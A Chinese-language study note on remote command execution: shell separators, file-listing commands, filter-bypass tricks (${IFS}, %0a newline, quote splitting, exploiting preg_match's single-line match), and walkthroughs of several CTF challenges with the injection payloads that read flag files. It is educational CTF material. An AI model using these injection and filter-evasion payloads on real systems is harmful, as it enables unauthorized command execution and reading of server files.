一.知识点
RCE:远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。RCE分为远程执行命令(执行ping命令)和远程代码执行eval
简单来说就是:可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
一)常见的连接符
1.拼接命令
分号;:多个命令无论对错 顺序执行
eg A ; B 先执行A,再执行B
&:作用和分号一样,但是在使用的时候要把&进行URL编码为%26才能正常执行
eg A & B 简单的拼接
&&:前面命令执行不成功后面命令无法执行
eg A&&B A执行成功之后才会执行B
管道输出符|:前面命令的输出作为后面命令的输入,把前面命令的结果作为后面命令的参数;前面后面的命令都执行,但是只显示后面的命令执行结果。
A | B 显示B的执行结果
||:前面的命令执行成功,则后面的命令不会执行;前面的命令执行失败,则后面的命令执行(类似if-else语句)
eg A || B A执行失败之后才会执行B
### , 在特殊情况下可代替空格
二)常见的命令
(1)、Windows
1.type 显示文本文件内容
type x:\1.txt //显示x盘下的1.txt文件内容
type x:\1.txt | more //分页显示x盘里1.txt的内容
more 1.txt //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)
2.dir 显示目录里的内容
dir //显示当前目录里的子文件夹和文件
dir /b //只显示当前目录子文件夹、文件的文件名
dir /p //分页显示当前目录子文件夹、文件
dir /ad //只显示当前目录中的文件夹
dir /a-d //显示当目里的文件
dir x:/a //显示x盘下a文件夹中的内容
dir 1.txt //显示当目下1.txt的信息
dir /s //递归显示当目中的内容 ctrl c终止当前命令
dir a* //显示当目下a开头的文件、文件夹信息
dir /ah /os //显示当目下隐藏的文件和目录,按文件大小从小到大排序
(2)Linux
1、ls:列出目录
2、pwd:显示当前所在的目录
3、cat:由第一行开始查看文件
4、tac:由最后一行到第一行查看
5、more:逐项查看文件,按空格继续,最后自己退出
6、less:逐行查看文件,按方向键,不可主动退出,按q退出
7、head:只查看文件前十行
8、tail:只查看文件后十行
三)替换符
%0a 换行符
%0d 回车符
$* 在shell命令执行下为空
${IFS} 表示空格
-
一般做题步骤
分三步执行:
1、ping
2、进入flag_is_here文件夹
3、列举flag_is_here文件夹下的文件
五)空格绕过
关于preg_match函数
利用 preg_match(),我们可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。还有一个可选的第三参数可以让你把匹配的部分存在一个数组中。在验证数据时这个功能可以变得非常有用。
函数形式
preg_match(string $pattern, string $subject, array &$matches);
pattern
要搜索的模式串,字符串类型
sbuject
输入的字符串,字符串类型
matches
可选,用来存放搜索结果,$matches[0]存放所有匹配的字符串,$matches[1]用来存放第一个匹配的字符串,$matches[2]用来存放第三个匹配的字符串,以此类推
二.实训
1.[ACTF2020 新生赛]Exec
先用127.0.0.1ping一下 正常显示 查看根目录 没发现flag 继续访问上一级目录 发现flag
127.0.0.1|ls
输入127.0.0.1|ls.. /
输入127.0.0.1|cat /flag
2.[GXYCTF2019]Ping Ping Ping
先用127.0.0.1ping一下 正常回显 查看当前目录 发现了flag 之后发现符号被禁止了 使用替换符 再次查看flag 发现又被禁了 所以我们先查看根目录即可看到什么语句符号被禁 之后便可以据此修改抓取flag 即可得到。
3.ctfhub综合练习
本题过滤许多,尝试逐步绕过
首先列举目录127.0.0.1%0als# 其次列举文件夹下的文件 看到了一些禁用的符号对命令进行修改逐个绕过
127.0.0.1%0Als${IFS}f’’lag_is_here
看到了flag所在 于是查看文件内容
127.0.0.1%0als${IFS}cdf’’lag_is_here%0atac${IFS}f’’lag_
最后查看源码 即可找到本题flag
4.[FBCTF2019]RCEService
打开网页,发现输入框,提示命令以json格式输入,先试试:
{"cmd": "ls"}
发现了回显根目录,输入其他命令发现进行了过滤,说明用到了preg_match
函数。
因为preg_match
函数只匹配第一行,所以可以利用换行符%0A
来构造payload。
查看home
目录:
/?cmd={%0A"cmd": "ls /home"%0A}
发现rceservice
文件夹,查看rceservice
文件夹:
/?cmd={%0A"cmd": "ls /home/rceservice"%0A}
发现flag
,jail
两个文件,输出flag
文件,输入url:
/?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}即可查看到flag
参考资料:https://blog.csdn.net/kongtaoxing/article/details/124201990
http://t.csdnimg.cn/MqASO
http://t.csdnimg.cn/qIJrS
http://t.csdnimg.cn/C9KT5